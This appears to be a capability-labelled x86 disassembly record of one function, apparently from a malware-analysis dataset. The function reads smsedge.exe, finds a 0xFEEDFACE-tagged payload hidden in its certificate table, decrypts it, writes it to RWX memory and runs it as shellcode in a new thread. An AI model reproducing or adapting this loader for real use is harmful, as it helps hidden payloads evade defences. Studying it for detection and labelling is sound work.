Function at 0x10001370
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2fc
mov eax, dword [0x100a6014]
xor eax, esp
mov dword [esp + 0x2f8], eax
push ebx
push esi
push edi
push 0xff
lea eax, [esp + 0x104]
push 0
push eax
call fcn.10002780
add esp, 0xc
lea eax, [esp + 0x200]
push 0xff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x200]
push 0x5c
push eax
call fcn.100023d0
add esp, 8
test eax, eax
je 0x100013d2
mov byte [eax], 0
lea eax, [esp + 0x200]
push eax
push str._smsedge.exe
lea eax, [esp + 0x108]
push 0xff
push eax
call fcn.10001320
add esp, 0x10
mov dword [esp + 0xc], 0
xor ebx, ebx
lea eax, [esp + 0x100]
mov dword [esp + 0x1c], ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x10001677
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.10005e90
add esp, 4
mov edi, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x10], edi
push ebx
push eax
push esi
mov esi, dword [esp + 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x1c], ebx
jne 0x10001485
lea eax, [esp + 0x100]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.100030ff
add esp, 4
push eax
call fcn.100012f0
add esp, 0xc
xor ebx, ebx
jmp 0x10001641
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1000149e
lea eax, [esp + 0x100]
push eax
push str.___:__s_is_not_a_valid_PE_file_n
jmp 0x1000146b
lea esi, [edi + 0x18]
mov ecx, 0x38
add esi, dword [edi + 0x3c]
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.IsWow64Process
push str.kernel32
mov esi, eax
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100014de
lea ecx, [esp + 0x18]
push ecx
push esi
call eax
cmp dword [esp + 0x18], ebx
je 0x100014f7
mov eax, 0x20b
cmp word [esp + 0x20], ax
jne 0x10001509
mov ebx, 2
jmp 0x10001509
mov ecx, 0x10b
mov eax, 0xfffffffe
cmp word [esp + 0x20], cx
cmove ebx, eax
mov esi, dword [esp + ebx*8 + 0xa0]
mov ebx, dword [esp + ebx*8 + 0xa4]
push esi
push str.__:_Certificate_Table_RVA__x_n
call fcn.10001060
push ebx
push str.__:_Certificate_Table_Size__d_n
call fcn.10001060
mov edi, dword [esp + 0x20]
add esp, 0x10
add edi, esi
xor esi, esi
test ebx, ebx
je 0x1000158d
nop dword [eax]
cmp byte [esi + edi], 0xfe
jne 0x1000155b
cmp byte [esi + edi + 1], 0xed
jne 0x1000155b
cmp byte [esi + edi + 2], 0xfa
jne 0x1000155b
cmp byte [esi + edi + 3], 0xce
je 0x10001562
inc esi
cmp esi, ebx
jb 0x10001540
jmp 0x1000158d
movzx eax, byte [esi + edi + 3]
push eax
movzx eax, byte [esi + edi + 2]
push eax
movzx eax, byte [esi + edi + 1]
push eax
movzx eax, byte [esi + edi]
push eax
push str.__:_Tag_Found_0x_x_x_x_x_n
call fcn.10001060
lea eax, [esi + 8]
add esp, 0x14
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0xc]
lea eax, [esi + 8]
cmp ecx, eax
je 0x100015b7
push str.___:_Could_not_locate_data_shellcode_n
push 2
call fcn.100030ff
add esp, 4
push eax
call fcn.100012f0
add esp, 8
xor ebx, ebx
jmp 0x10001639
sub ebx, ecx
push ebx
call fcn.10005e90
mov ecx, dword [esp + 0x10]
add esp, 4
add ecx, edi
mov esi, eax
mov dword [esp + 0x18], esi
push ebx
push ecx
push esi
call fcn.10013f90
add esp, 0xc
mov edx, ebx
push esi
push 3
push ecx
mov ecx, esi
call fcn.100016a0
add esp, 0xc
push ebx
push str._n__:_Encrypted_Decrypted_Data_Size__d_n
call fcn.10001060
add esp, 8
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push ebx
mov ebx, dword [esp + 0x20]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
test edi, edi
je 0x1000164e
push edi
call fcn.10005e80
add esp, 4
test ebx, ebx
je 0x1000165b
push ebx
call fcn.10005e80
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x304]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001ae2
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x100]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.100030ff
add esp, 4
push eax
call fcn.100012f0
add esp, 0xc
push 1
call fcn.10005e5c
int3